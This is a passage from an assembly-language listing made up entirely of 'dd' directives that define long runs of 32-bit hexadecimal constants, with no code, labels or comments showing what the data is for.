		dd 2E709450h, 88304306h, 0A888C07Bh, 50779367h,	0AB3C3C8Ch
		dd 0DE64F857h, 0F8475722h, 6148BE23h, 0F345E8E2h, 0D58CBF8Fh
		dd 0F129EA4Ch, 4F74F3B8h, 86B75395h, 2791EC17h,	37818F01h
		dd 2F3D0D02h, 80F9485Ch, 0BBFC0565h, 4C508152h,	5BE75F35h
		dd 0AB586647h, 85AE1AB6h, 0B29EC77Ch, 23C0A040h, 64B78C73h
		dd 333F49D4h, 23D4E659h, 2D4F5046h, 3549825Dh, 0E520A5D3h
		dd 0D8927B5Dh, 41DCF5F3h, 0C626188Fh, 0CE790F0Eh, 0FE678CB4h
		dd 7EB03463h, 10E4C064h, 0EFEA33F5h, 84F993E0h,	84BC0784h
		dd 396378A2h, 1301C891h, 0D159142Dh, 55554EA5h,	9B6FA78Ch
		dd 0DAEB52DDh, 0DE03999Dh, 7CBA19C1h, 0F1B6626h, 49DC6428h
		dd 8C7E8816h, 0FE8764DAh, 0F4181A65h, 0A53BFB65h, 0D74C22B7h
		dd 0B495DBD0h, 15AC0516h, 0B1D03230h, 55A005Ch,	0B4065F22h
		dd 0A22F6F4Fh, 0FFBB1174h, 41D8CDCDh, 4C124614h, 6EAF904Fh
		dd 223C53BFh, 0DF3C2981h, 46CA93E5h, 134AC411h,	89E9E6A6h
		dd 0F8880E00h, 0D0680258h, 0A4EA453Eh, 985C0DD2h, 21147580h
		dd 0E487D34Fh, 13B55473h, 0CC620228h, 45207528h, 2AB134BFh
		dd 0E0E190FCh, 4B07C962h, 55BD1DB4h, 688CC684h,	592E7970h
		dd 163B1161h, 5D2FB3A6h, 1A4C189Fh, 4EA5C2A2h, 6F53F8Ch
		dd 3A6B4186h, 8365D998h, 7D77A559h, 0A76CA90Ch,	0F911980Dh
		dd 0C6D1628Ch, 611C080h, 432AA115h, 0D71FF823h,	70D7B447h
		dd 0DE266069h, 34A5E7D6h, 0E8D234B5h, 0BFC9F337h, 89926211h
		dd 5D3588B3h, 3B0B847Ch, 7C98199Ch, 6A6907F3h, 4A228B23h
		dd 547F6904h, 0C0D3CD52h, 0F343F708h, 8B0CB0C5h, 4BB0A4E2h
		dd 31A487E5h, 9470CE46h, 0B01555CFh, 81F11642h,	2BE4CA58h
		dd 0D264B0BDh, 148634D4h, 7CA2A734h, 52FF43A0h,	0A6F27C15h
		dd 0D80BE24Bh, 0C2AAD515h, 42B0E53Fh, 5CDDBA3Eh, 0E1F0525Bh
		dd 338AAEDh, 6C14113Ah,	0D6BC7FBAh, 0D60B42F3h,	41EAC4B5h
		dd 93ACB974h, 70A18845h, 0F4E1B10Ah, 0FF208C6Eh, 0EA13F08h
		dd 68B3FC7Dh, 0D0F57961h, 2650751Dh, 0CDCFC1D9h, 0D8D21F3Ch
		dd 0FF30668Ah, 1154D5D5h, 7431AC54h, 0D358447h,	0C4534BDDh
		dd 68DBA113h, 0BB688491h, 0F04F23CCh, 0FCAFA8BCh, 16AAC929h
		dd 0D4B960FDh, 5D76B597h, 54A240A8h, 0A232D0F9h, 0BD1AB954h
		dd 9809C286h, 3D8CF486h, 6A9A8603h, 0D91D9C91h,	0A17CC0FEh
		dd 81544BECh, 0B0F079D4h, 943ED152h, 0D21C362Ah, 50AC5AD1h
		dd 32A988AAh, 0F580BD60h, 65524322h, 0DF329FC4h, 0A31588C5h
		dd 0A2223154h, 6AF3352Eh, 0D9C42A94h, 0ACBEFF62h, 83BA5017h
		dd 757CB22Fh, 44444CFBh, 535419h, 2FE1C270h, 624E990Fh
		dd 28B84ACh, 0A43D9574h, 578DE558h, 264E33Ch, 747C25CEh
		dd 0E55DEF87h, 51E5A94Fh, 25754F48h, 33324D75h,	3404E216h
		dd 75BB08CAh, 38D09817h, 0B849AAA0h, 9F4E604h, 85EC3DD8h
		dd 904E961Fh, 0FA3DC218h, 96005808h, 8F2524h, 62C921F9h
		dd 17FDC526h, 9E4098E4h, 3AADA8E8h, 38080CF0h, 452529Fh
		dd 8CAF0E74h, 4113BC62h, 51272DEFh, 0FF9450AAh,	0A5A546BCh
		dd 140F38EDh, 0B83F0DDBh, 0FF3E7AECh, 8072DD3Ah, 0E016BA57h
		dd 0AA0054B6h, 0B429A316h, 0D66FA524h, 0F590A65h, 0FA03FE19h
		dd 2C014C05h, 0D31B3639h, 6A468814h, 5D9462Ah, 942B1F1Dh
		dd 0F5C9E91Dh, 0E45A17F0h, 968BC233h, 52D4416h,	7769A45Ch
		dd 0F8F81BDh, 1E200005h, 0CC18AE1Ch, 0CA06187Ch, 0DF89B534h
		dd 52D07017h, 0D331175Eh, 63A90A18h, 3DE63758h,	0C082540Bh
		dd 8ECAF307h, 18EA2D3Ch, 1C858275h, 0CC416BEBh,	89A1D628h
		dd 0C7183CA9h, 0FF5C5A1Ah, 25101E1Fh, 0B063138Ch, 0E0F91566h
		dd 9FEB2899h, 712ED202h, 20B17082h, 216B9280h, 5F04BB2Ch
		dd 0E65DBBFh, 6BB32165h, 9321C33Dh, 0DB21113Dh,	8523F8C3h
		dd 0A2BEC75h, 41DFC080h, 0B79AA030h, 95FE6C08h,	5414C7D7h
		dd 60497AC8h, 22590FACh, 41102C81h, 0B50110FCh,	0FD382F8Eh
		dd 4DD2FD9Eh, 0B999014Bh, 2493685h, 5B86B2AFh, 8C1D8BC9h
		dd 4D6C0260h, 64AFD8B9h, 7B188ED5h, 0A1093130h,	8A83F625h
		dd 0F58F7E49h, 0FF7BD25Eh, 57F08CB5h, 0B6EB31BBh, 67400701h
		dd 27A90EC4h, 264B811h,	341A34A0h, 0ABC6AD78h, 0BB155516h
		dd 0EC5629EAh, 0F15D0D8Bh, 0C1945737h, 579BEC38h, 5D6AF011h
		dd 3B5073E9h, 0AFC974BFh, 0A2AFE013h, 921462CDh, 29833B8h
		dd 79314150h, 330BB8B0h, 0E71111EAh, 0EAEBDA6Eh, 0A5ABD727h
		dd 0F3946660h, 20C18C11h, 61B9D262h, 0C93C5546h, 0D8E25598h
		dd 0ECAC8CB1h, 2945297Eh, 0F6606900h, 0DC68552Dh, 8375E5AEh
		dd 83A63595h, 6218992Dh, 4F91EB05h, 1014A332h, 5610E60Bh
		dd 1E62242Dh, 8922F619h, 0C6269D5Eh, 20BED084h,	98A206E8h
		dd 6290D74Ch, 59DC40CCh, 0A68FB41h, 730C628h, 0FC711485h
		dd 0BE3FF499h, 40EAB21Fh, 9B45F369h, 1F1B521Eh,	0E069F344h
		dd 0C28C3667h, 2074ABAh, 1AB6A1C7h, 531EC469h, 0F9052FCDh
		dd 309BA3DBh, 7D63ED55h, 94DB5328h, 1BD45CD1h, 9317E55Fh
		dd 6D32404h, 0FC34C6F5h, 0C9E42C08h, 248E284Fh,	0D0396A1Fh
		dd 0D1CD52F6h, 0EBFEDD15h, 0D88A27E3h, 0FE15A6FAh, 0B1D0CE1Bh
		dd 62C576F1h, 0F24D71D8h
		dd 0FAF2A9F1h, 1D8BB013h, 0BA83BFD4h, 9248E3BCh, 8B4396C9h
		dd 676898EDh, 0C05C1A44h, 0C3943CF8h, 0BF73C4A6h, 0A2C064DBh
		dd 9E4600E8h, 0F8279F73h, 0E92F06B1h, 0C16901D6h, 0FC79020Ah
		dd 0C54B560Fh, 0D785DA3Eh, 40B94B7h, 0F193F757h, 0D8B5EA6Fh
		dd 60B5AC64h, 0B5E14C2Bh, 9B55016Dh, 0CF641810h, 0C258E3D7h
		dd 0A31B41E8h, 4BA80A6Fh, 55AA208Ah, 0A56FB9C5h, 7318772Fh
		dd 0B4277758h, 8E15C574h, 7AE6456h, 0AAF29A79h,	0E787078Ah
		dd 0FA39CA41h, 0D55EEE95h, 0EE2A696Dh, 0FC824BC9h, 8F3A1F80h
		dd 0E08704DAh, 0B010E8DCh, 3677783Eh, 90C3E113h, 200CA177h
		dd 0FE54F6DDh, 289FF84Ah, 0E1836C5Fh, 2AF10B07h, 0F2A8ECE0h
		dd 0A153925Eh, 0B69E6710h, 1524AEA7h, 0D0C5B3DDh, 1FCD6315h
		dd 0AF36F058h, 4C90A237h, 4C423B0Dh, 9E8B1822h,	3CC3A3A7h
		dd 0B5E85863h, 74564348h, 51946255h, 350B8639h,	9C5E8687h
		dd 0A846C1A1h, 6919FA19h, 0D8BE7FCFh, 1832322Fh, 8B0A438Ch
		dd 0E1EC95A6h, 83F9EFA0h, 653267ABh, 99F28181h,	1BA51B9Ch
		dd 0F4BAF0BDh, 63D4819Ch, 1519D480h, 51792514h,	23F016C4h
		dd 0D6130A46h, 0B9C5CD0h, 0E35FDAB2h, 0B008930Ah, 86D23B65h
		dd 686D7094h, 70832ADDh, 32445DE4h, 313C5189h, 0EE4F3634h
		dd 48C07519h, 526B0A8Ch, 1396414Dh, 2949C992h, 0ACEE2E86h
		dd 9198440Dh, 38CBBFC0h, 0A7AE694h, 0BA8F9286h,	83909A55h
		dd 0B6018C59h, 493E2860h, 6BAB8089h, 0A4CC50CAh, 0DF694717h
		dd 67BF172Bh, 0A0CA3954h, 22E01D3h, 0D1F16C4Eh,	2578DF11h
		dd 0D4A5BFC3h, 9959BAD3h, 21A8545Dh, 1799BA05h,	1ABFA494h
		dd 52AB554Dh, 411F8DA4h, 0EBC3DCB5h, 97046E68h,	0C7EA78h
		dd 504EF00Fh, 7D8A5BE1h, 4768CA9Bh, 58C3E575h, 0DA9BBAC5h
		dd 0D332717h, 0FDA50A14h, 2FECD64Dh, 0AA9B24EEh, 501F104h
		dd 43E8F618h, 2069131Bh, 8E566660h, 0E12F1141h,	366582B1h
		dd 31C6B6F5h, 63B4B35Dh, 66EEBFF6h, 0DF53F486h,	4A8704C5h
		dd 2F034EBEh, 0C79F457Eh, 59E13D92h, 3649B29Bh,	0F80A643Fh
		dd 4E989749h, 0AEC85C0Bh, 4B67C557h, 3F590A4h, 0B3CD07CFh
		dd 0C983CFF1h, 2FD7FF44h, 4C36ECA7h, 72F349BDh,	58B60FB2h
		dd 1FE81C93h, 0BDAC36F9h, 0B7DE31BDh, 0F07793A2h, 28CF0520h
		dd 28E6D88Ch, 8B4B97C3h, 3A8D3738h, 3F2558BCh, 0E46A2B23h
		dd 4A5ED220h, 0EB889D85h, 0CDA6EE25h, 7E7003E7h, 66012638h
		dd 0D3017A07h, 595E4FF1h, 946F610Ch, 0EDA00C50h, 0DF0D5E87h
		dd 886D469h, 0AC545740h, 0A34613AAh, 508728D8h,	202511C0h
		dd 0F5EC0507h, 47E4A7DFh, 0B1D327Dh, 0AF10592Ah, 0AA217B0Ch
		dd 2A0D1B71h, 18C2AF86h, 0CA6B8469h, 8C7CD5BEh,	390584C1h
		dd 59926F10h, 0D93251E7h, 0EE398A2Eh, 9311CA3Fh, 63E6EBC2h
		dd 18AC134Eh, 1476DD4Eh, 0FA281D0Fh, 0BAAD47A5h, 2D91465Dh
		dd 1AB47E88h, 9768CBB4h, 0AC183C10h, 930345EBh,	0C5F1C799h
		dd 0B2A8DD07h, 94529582h, 350A87FEh, 28BFF109h,	0AB14558Ah
		dd 62D10EA4h, 351F28EAh, 3AF2A7C5h, 3704448Bh, 0EA76E5F1h
		dd 478FF97Dh, 2D0C8332h, 0F79DCFCAh, 0B9B08F2Fh, 953575C5h
		dd 0D76C64E4h, 0BF74B59Bh, 31B358C7h, 6974687Eh, 0B8FCCB02h
		dd 0C1383843h, 534DBAAFh, 4C4E881h, 5E7DED13h, 28C4D0F7h
		dd 815FB860h, 61AEC1FFh, 0F878A034h, 8B4FCE62h,	0DD71DA59h
		dd 0C08F02DAh, 593FC1FCh, 8B30F599h, 0B708103Eh, 398DC7C0h
		dd 4E24ED56h, 0D343862Bh, 5F26515Ch, 0A6C65C8Bh, 1B607903h
		dd 4A7B006Ah, 1C45E74h,	0DC4CC8F1h, 2380957Ch, 6F876E32h
		dd 4240C0D5h, 0AC355B0h, 90220AAFh, 680A2485h, 9624555Ch
		dd 0D5562F71h, 0A2C8ED43h, 5A122746h, 5D943078h, 42393DC1h
		dd 0A49D3957h, 13651743h, 0C1E1CF68h, 909F49F0h, 0D36F94AFh
		dd 1B1CDD54h, 6D97347Fh, 4104463Ch, 13BE09Bh, 113BC209h
		dd 71BD6964h, 0A235D815h, 0FC64A78Bh, 3101D165h, 232E805Dh
		dd 48D6C599h, 5080D5DBh, 581A677Ch, 0AA668E30h,	0DEE25551h
		dd 0ED996427h, 0A0F7F3D1h, 4ACE6CB2h, 2D000716h, 0BA4202C8h
		dd 0B3D8F1EDh, 0ABC66AAAh, 0C1C99EB8h, 1AB23914h, 0D095660Eh
		dd 0C54DE1FEh, 3965D117h, 0A3ABBC72h, 19FFD1A4h, 0DC028709h
		dd 49CDD97h, 0FB0EEB36h, 260C33EFh, 800CACEh, 0AC474E8Dh
		dd 5724C823h, 0ADACF5D5h, 0B9630B61h, 0F540824Ah, 0A34362ECh
		dd 0FE4A81F6h, 77B7680Ch, 0C046E571h, 3469DF7Eh, 80F46DFh
		dd 9EF7FEBh, 2F140708h,	99D28EE4h, 0B36A2601h, 7993EB37h
		dd 9A6C610Ch, 0FD261558h, 15CB2FFEh, 0F685ABD4h, 51C4D167h
		dd 7F578626h, 83AA9092h, 57974818h, 5559C230h, 991DFF0Ch
		dd 1D000E18h, 3E7DEFB1h, 0ECFA2462h, 0E66B027Bh, 0A2BF0524h
		dd 31C92065h, 7EA65374h, 0BA702BAFh, 0CFBC19Ah,	0E4266291h
		dd 11087058h, 779A0D50h, 0D650DD5h, 0B43FCB61h,	1688E5A3h
		dd 6BDA5C68h, 3797DD62h, 0B2F4CA30h, 9BDF53F0h,	0CE3869D8h
		dd 5C473661h, 345C8715h, 5671A64Eh, 2084F899h, 637A4DE2h
		dd 363E4295h, 15595075h, 4AACE2F0h, 8B70ACC8h, 678C8B3h
		dd 6A97CA7Dh, 6C4A4A19h, 0D6C16931h, 67C5BC21h,	0AC38DD2Dh
		dd 0ACD1D598h, 2AF8582Bh, 2245510Dh, 0E0973FC8h, 0FA790D16h
		dd 31CF5598h, 898ABD46h, 2BF8437Eh, 994A7C1h, 20C50F0Eh
		dd 0B81CE02Eh, 0F2E9B9C3h, 50D0981Bh, 8A198ED7h, 4E2AA72Fh
		dd 0B2BC7401h, 0EA40E999h, 82A25990h, 3FB1D0ABh, 285332Ah
		dd 55695491h, 0C4458A42h, 677A8199h, 0FC1AF2F2h, 2C05B198h
		dd 5863C86Eh, 57E32E33h, 0AB435923h, 0E3625938h, 0D8B0AD03h
		dd 8419AA06h, 0A6AF202Ch, 110CE7DCh, 0F0C7C382h, 0B01857B7h
		dd 2C403D8Ch, 67E519E8h, 3C8528AEh, 7FE9020Bh, 4354188Bh
		dd 9F01B10Ch, 0A6E3E636h, 10587F08h, 0DF845126h, 0B8A153FCh
		dd 4ACD6A00h, 0BB44FA54h, 74D7260Ah, 0A0AFAC7Eh, 1C6A1B5Ah
		dd 4C35F490h, 963BF96Ch, 64C8ACF9h, 1D9867E1h, 0AE1BB6BEh
		dd 626877C8h, 0F480EC0Ch, 24094EABh, 14DB9476h,	40E18413h
		dd 21DD70D2h, 24E4F829h, 75822BA4h, 0FAE0FE15h,	0DE214309h
		dd 9707524Fh, 42075B56h, 455388BCh, 631DC819h, 0C9E4349Ah
		dd 35C979F4h, 0DD216834h, 147F1986h, 5A6C6C5Bh,	99CBFAD5h
		dd 0CE30F4F4h, 0C0418A5h, 20CB1134h, 857BE049h,	86D1BB76h
		dd 0D5CD8D07h, 0B10C454h, 48788CCCh, 63452477h,	60146356h
		dd 3C69E852h, 500BD1D5h, 89E64C4h, 19204648h, 3B8B282Eh
		dd 0F114A2E2h, 17D785D1h, 0B290498Ch, 0E00B299Dh, 40F05D4Eh
		dd 0F5C67FC6h, 3AA2E16h, 2ADB1E04h, 57488B4Bh, 3181CC0Dh
		dd 43F020F1h, 0D3213127h, 0BD5D469Dh, 0A0DA0CB2h, 1CB418F4h
		dd 66568A03h, 0A6D00B10h, 0B8A0238Ah, 5B752F96h, 2F350EF9h
		dd 0BA11AF3Eh, 7BB63124h, 0A2D55B8h, 1BA4EF9Eh,	0C8AC5796h
		dd 0DCA668ADh, 0CD953CADh, 0B2FE1644h, 65BCB92Ah, 31087AD7h
		dd 67D5E71Bh, 989C3F09h, 0AA390DC0h, 0ECD02B58h, 34EF526Ah
		dd 18880B24h, 0D319A6AEh, 5FC35F7Ch, 63D0F8AAh,	28BEF2C0h
		dd 0D8B5C941h, 223800A4h, 269ABCB5h, 0F8AF5AD2h, 68D5C77Eh
		dd 2683E012h, 0C9907614h, 0E0AF9307h, 19577AF6h, 6E0B8E4Dh
		dd 0F40A345Fh, 0CC2019E5h, 73740B1Bh, 9E6FD2A1h, 1CC07702h
		dd 66FE020h, 70EEF396h,	22EB5E0Bh, 95664757h, 4B475985h
		dd 4A5396DAh, 4B870290h
		dd 28EA23BAh, 500F8625h, 0B2EC16FBh, 1CD316E2h,	0AAD04EF0h
		dd 6A0F40FEh, 6FFE212Eh, 6A6303Eh, 0BA29FD74h, 42E005C8h
		dd 765CE7Eh, 53A45FFBh,	104DD1A6h, 0A45F0662h, 15451AD1h
		dd 0F1556CBDh, 887E9B3Bh, 0BEAB0D93h, 69DD77CBh, 0BEC0574h
		dd 54251042h, 0E2B191AAh, 1801C197h, 63A0429h, 0BDC24840h
		dd 2AA03E42h, 1813A62Eh, 0FDADAD29h, 0BDFA3F6Ah, 8EA85D5Ah
		dd 0EC9CBB8Bh, 0CD335827h, 50613E77h, 0F0AA15FBh, 0F61F9832h
		dd 3D9E02B3h, 2E68E15Fh, 90B7B9FEh, 20E070B4h, 4FFCE2D5h
		dd 3430F9E0h, 487A9FB4h, 4F20B130h, 0EAB18743h,	0CBFDF3BFh
		dd 0B0747E7Dh, 0FF134BC4h, 8283E887h, 77256E1Dh, 1C55E050h
		dd 454AC029h, 0CEE0DAC7h, 0D56A06A9h, 9316ADEBh, 0E3B4BDCCh
		dd 49E16137h, 1E84529Dh, 74BD3452h, 0D6BAC525h,	32736529h
		dd 5522C31Ah, 63E5D74Fh, 5572995Eh, 0D4E84DB4h,	6BDA0A95h
		dd 0E9C50578h, 293B129Ch, 6B9C9075h, 1A83FB8Dh,	78517B05h
		dd 6ED97E50h, 4272768Ch, 975F6BBCh, 1960F817h, 745DA1E8h
		dd 0AF642069h, 0BCFE8399h, 78BA5F6Fh, 37DF5F2Bh, 808EB9BBh
		dd 8EAE8508h, 0DF7CE4AEh, 0D75530E6h, 0F67E340Eh, 0D074D895h
		dd 49DEDC20h, 0F70738C9h, 0E9E3B13Eh, 8A65F4C6h, 0D83B8F99h
		dd 1895118h, 8CEF504Ch,	911A41FEh, 9FC4A173h, 50BD9D42h
		dd 0C43C38FCh, 0BE067F10h, 3AAE7224h, 0BF424F0Ah, 0FDA88AC8h
		dd 0AEAE01Dh, 55E0F0C8h, 90328F82h, 0A8DB985Eh,	607486Ah
		dd 0F5EE695Fh, 32F4C256h, 6D4A329Fh, 2AF11871h,	6163E65Eh
		dd 0A0B8688Ch, 9E391802h, 0B9C251DDh, 0A62241CEh, 4A8D411h
		dd 179E3F4h, 7F18F0D9h,	0C3FEA05Fh, 6E4E324Dh, 0EF0D1990h
		dd 51D64212h, 4586638Ch, 181E482Ah, 3D5128Fh, 2292619Fh
		dd 5AFCF4CCh, 781F9547h, 0AE570B81h, 597F05BDh,	0CE769B31h
		dd 62BDFC9Eh, 63EEF20Eh, 5BA98A14h, 62ED401h, 2011DA09h
		dd 10AFF9FCh, 62639D83h, 0EB2ACBBBh, 5726A125h,	0B088854Dh
		dd 0A03881Ch, 8041CC8Dh, 539B7328h, 0FD10381Ah,	0BEDCEC52h
		dd 0CFE07F3Fh, 7A5F9DFh, 23AF3DA1h, 0F3AAFA88h,	824DE8F6h
		dd 1A9A8842h, 41D3E90Bh, 32EAD2h, 465C1179h, 7572685Dh
		dd 8E910F43h, 72CC4C17h, 0A87B10A5h, 6338978Fh,	47F44EA3h
		dd 2C09D4DEh, 0A0919647h, 207FBCAh, 5AABC1Fh, 37EA2470h
		dd 55FBD5F6h, 0BA442828h, 5CBE8ADAh, 1110D522h,	1C83E277h
		dd 0E9664B3Ah, 9F20406Eh, 0B732A9B8h, 31EBC52Ah, 0ED8130B1h
		dd 6CC45358h, 0B6F8BD8Ah, 7F7B0DD2h, 0ED457627h, 0F050A4CBh
		dd 383C86B2h, 0A76C03F2h, 0F8F39B24h, 0C19E6B17h, 0BC631B78h
		dd 50AB8EA5h, 53D1D7FEh, 9B182F21h, 0C9B5F143h,	5A17B426h
		dd 892774AEh, 7B8EE046h, 6C3F76E6h, 0A6D22B16h,	0BE463DFBh
		dd 0BA67AC32h, 98B41A36h, 40101890h, 988D2EB0h,	0B448F5C1h
		dd 0D90BC0A4h, 8C60204Ah, 0D15C4561h, 50E333F6h, 0CBA45760h
		dd 0D5832E4h, 5B1B7828h, 0AF7C5E95h, 8A144AFFh,	0C69224E0h
		dd 7CC00C5Fh, 5E0BB3DCh, 0D621D6BCh, 0E7532B07h, 3BD90E12h
		dd 0ABF08AEEh, 688ABBD5h, 0AF14544Dh, 0FC380A02h, 0BF1835A9h
		dd 0ABA4EDAh, 83C86558h, 2D745B89h, 0B616F139h,	6417B931h
		dd 29F1A14Fh, 48AFC034h, 0ACC65CCDh, 0D4CFFE21h, 52653A84h
		dd 0B4D65CEEh, 1376AA80h, 0EFA26FECh, 0A1DE882Bh, 0E7AB8935h
		dd 0E259C517h, 43F0D534h, 19842708h, 57DBDEF7h,	0B4DFF711h
		dd 226F1BB1h, 38C57E2Ah, 1FFBA4A7h, 3BE1F6D4h, 0E4C2C969h
		dd 0BE0516C3h, 0D7EE6B10h, 493D503h, 0A929614Fh, 1F341B34h
		dd 6F3D661Ch, 0B0A71354h, 9CBB4079h, 15516C82h,	0C212A4B3h
		dd 100380BCh, 0BE3D5591h, 8BAA3F53h, 5929DE29h,	0C232FF31h
		dd 40054042h, 0D682023Dh, 39220BB7h, 2E684B01h,	7817F276h
		dd 0B82FD2A1h, 5AE825Ch, 2EF18A25h, 0D8FE3147h,	13EB8768h
		dd 4D034643h, 50048DDBh, 2ACEC77Fh, 0C4311D29h,	882D8D8Bh
		dd 0E654EBAAh, 3295E7FEh, 0B1952AB0h, 0AF618628h, 7ABAF27Ah
		dd 60B465C9h, 19BB40E8h, 0C96157h, 4EF518FBh, 0EB868C30h
		dd 0BD066009h, 0C151CE63h, 8016C2C5h, 8DEB3792h, 0A1DA8BAh
		dd 532A2E3Fh, 0EB109284h, 3213D7FAh, 97281300h,	7F582FFCh
		dd 208DCB5Bh, 0C3DB1573h, 6B0FCBAh, 0BA456246h,	0E9224AE5h
		dd 22F33E52h, 6A44533Dh, 61720851h, 0C41030B4h,	97894C4Dh
		dd 68429042h, 0CAA00D9h, 95962444h, 5B73ECB6h, 0AF322AE6h
		dd 0AB8054C5h, 0EA3130C5h, 0C94B2CC6h, 0ABEB893Fh, 59544520h
		dd 8E2F57A5h, 2D681B40h, 0F0A01568h, 8C24B241h,	8F1F098h
		dd 8D721555h, 0A8BF9833h, 503AFA62h, 1E0022F8h,	36AA9061h
		dd 0B6726ABEh, 4EF8D309h, 0ECAF7A0Fh, 0DE053778h, 7120918Dh
		dd 0F90F7D07h, 0FDEA0055h, 5542B57Ah, 27FF27CFh, 0AF42258Ah
		dd 7F310D4Bh, 0FA4ABF5Bh, 7230C3D9h, 0F97D6AC4h, 5C07F62Ah
		dd 0FFA82559h, 5660F024h, 0B06A80F5h, 48127D89h, 5C562B2Fh
		dd 82867FC4h, 2B8D68B1h, 873AC1F1h, 88ADF704h, 48B3CD8Bh
		dd 10C59097h, 0A32C3F79h, 604B6520h, 5B247B21h,	181BD71Ch
		dd 82E30C44h, 0E0342408h, 4680EBF1h, 0C80D00ECh, 0D259D1E8h
		dd 498ABFF5h, 0C80A16E6h, 0F14609F8h, 906B56AEh, 38481313h
		dd 0E0C98320h, 44C04AE3h, 778761B9h, 80F152F5h,	0E0D4309Eh
		dd 4D84E927h, 5E737A18h, 8AA4B77Dh, 58EFF5B1h, 555B275Dh
		dd 967F3FACh, 67F5A315h, 94AE4046h, 9C4D9F97h, 0CBAC05D2h
		dd 91AA8900h, 0D5754546h, 5588EFA9h, 0D1C98F17h, 20625596h
		dd 0A542EBE2h, 619BA034h, 441C9CFBh, 8F41754Ch,	0C82EB44Eh
		dd 0EA40698h, 3D70AD98h, 8829E045h, 0CEC26023h,	7FFB9984h
		dd 1006B016h, 717C1504h, 17813FC4h, 4C692A56h, 1B815E0Ch
		dd 36A9880Bh, 7291EE8Bh, 2BF5B1B9h, 0F9529B5Fh,	47E4D68Ah
		dd 562C2595h, 83BC9DC3h, 0EF2ADA1Fh, 0B72BC055h, 2405F8A9h
		dd 48A92DF3h, 598F0ABBh, 19F0FF75h, 0C2B23F00h,	2056701Eh
		dd 0BD45476Fh, 7A06E88Ah, 0E87D74AEh, 7054B8Ch,	21810E03h
		dd 7DCC6FC5h, 79D59C5Dh, 5553CCC3h, 0D289EE12h,	4ED3414h
		dd 94815B1Dh, 54906FC8h, 0E6146BADh, 51F09C07h,	62582A80h
		dd 941CE311h, 542AC428h, 0A7CA8C6Eh, 9CC5A57Ch,	0C04BA5AFh
		dd 1ACC7EDCh, 770032E0h, 235D0715h, 99F4CEAAh, 0FC4E2863h
		dd 0C7E18094h, 4288F8F7h, 5CB19019h, 5E1E1488h,	3F0A5337h
		dd 9216E3Ch, 0FDAA614Ch, 53FC174Ah, 0C5930B58h,	6E1F2EB4h
		dd 90AC35B4h, 0C031D9C0h, 0E369BA32h, 0BD45EBE3h, 1865BF4Ah
		dd 4C694D43h, 0F8F5C85Ah, 2DCC4111h, 0FB32E9D8h, 3D70E2ECh
		dd 5D2CD01h, 2B13826Ah,	0CD6B18FFh, 0B08E8791h,	9E8D3C61h
		dd 2CC52589h, 7040B7AEh, 86A201F0h, 7197DC75h, 8F3D67D2h
		dd 3FB86DC2h, 53DC3B79h, 47D205A8h, 89DC45F5h, 292439F9h
		dd 17C9A3A0h, 0D482BBC6h, 815B0140h, 63CC7564h,	67F5A304h
		dd 41C9E0Eh, 3124CA24h,	0B429A22Ch, 6737212Bh, 36656669h
		dd 8FDD6673h, 0D17D8E8h, 8581D764h, 0D110B9F4h,	0A8B287A0h
		dd 8CBE28B1h, 75A98B6Fh, 985E7749h, 0A89560E7h,	142A2E3h
		dd 88EB7C6Bh, 0BFE2EB80h, 73D19CE4h, 1A288290h,	0F1D93C6Dh
		dd 31D0F0h, 283D41ABh, 5CFC1873h, 0A2F70DCh, 3E02C578h
		dd 9B03C099h, 40A20825h, 5FAD4E86h, 0B2CF22E3h,	1AB5ABBDh
		dd 0F1B75D71h, 1103D244h
		dd 91063C7Dh, 8EFB1297h, 630CC059h, 6755B065h, 0B2ED8E12h
		dd 44501AF2h, 0D411AD20h, 1B4A1283h, 0B9C29559h, 0E3759B30h
		dd 2956CDAEh, 0D4304820h, 0DF4D210Eh, 0AA53722Ah, 10FAFB82h
		dd 0A4250582h, 88D63587h, 571B7300h, 0BD86D9F6h, 0F4D98BB8h
		dd 763BA421h, 7D1D8033h, 6568C779h, 2F152956h, 0CC0F6442h
		dd 9DF28200h, 31B3A356h, 0ACD8AFA7h, 720C4A4Ch,	4A270A6Dh
		dd 4ABAC54Ch, 61211A19h, 94F5FDF1h, 65BE3532h, 0B06A5407h
		dd 0C27B080Dh, 4FB04F55h, 0D9EE9060h, 0C2222895h, 0B934451Eh
		dd 893752A7h, 51EC7B0Ah, 927B9EE3h, 0B0C81224h,	0EE498F47h
		dd 998A9119h, 0C44B1214h, 0D83A4BFEh, 5E5A99h, 0EB3C6CC4h
		dd 5441C8F9h, 71C6C7DAh, 50B6255Ch, 6DD13911h, 9168A12Dh
		dd 0FE5CC2h, 3610AAC8h,	98AB4D84h, 56DC17B3h, 0D18E4C89h
		dd 0B23A00D5h, 864EE463h, 382489C0h, 75FAF8D7h,	0D26BE621h
		dd 4C16E34Dh, 404DC020h, 530A96DCh, 2F39BA38h, 0ACE5210Ah
		dd 8320B6F7h, 122BFA2Fh, 0BAE5B8CDh, 3F8AC94h, 15267401h
		dd 74F07ED1h, 714F819Bh, 4670F39Ah, 44343519h, 53C99F04h
		dd 0C600821h, 0DDFF05DAh, 15740D0Bh, 0FA74A8Dh,	0C4F08202h
		dd 0C288875Eh, 55AA555Ch, 42D8E8B7h, 0A4CCEC2Eh, 4EB8BE16h
		dd 53C9D850h, 0D1D6662h, 1515E958h, 0CF597DC4h,	0F38F5CB1h
		dd 0AAD0C826h, 0B2F9F922h, 5516862Eh, 45AA3214h, 3BB3E3E8h
		dd 0F44212EFh, 0F2B32104h, 5C3AA711h, 0E7F89AADh, 0E84AF165h
		dd 50D70847h, 0D0832455h, 95755F62h, 0ACFA305Fh, 0F710FA80h
		dd 3FE8F34Ch, 793542B0h, 0D57C705Dh, 0AF7EDFFCh, 0E8194E9Ah
		dd 57EB0B08h, 1885178Fh, 0ADBCCCC4h, 17CA1FCCh,	580363h
		dd 90B9DBEFh, 2B9AAEECh, 69F5A1C2h, 230FD564h, 0E1D33FC7h
		dd 9BB762A7h, 4C43E7EAh, 6360B69Ch, 0D551842Bh,	198A8698h
		dd 6306D519h, 6644289Ah, 62AC08ABh, 2EC2130Ch, 16CAC1B2h
		dd 4E9AE948h, 3B5B624Ch, 4C793360h, 953A5532h, 42397222h
		dd 82AAB60Eh, 17D99758h, 6BE02991h, 9BB93967h, 81B52B89h
		dd 70A2950Bh, 101A3866h, 0D07662AAh, 779801AFh,	21E34A56h
		dd 70AB3A9h, 131547C4h,	45A87597h, 33EA10C4h, 0F9C0D400h
		dd 5C45A37Ah, 0C0E6F04h, 182583A2h, 0FC059EBAh,	29DAC141h
		dd 4D012802h, 0B8B63F83h, 2039A230h, 0A8120333h, 0F3100948h
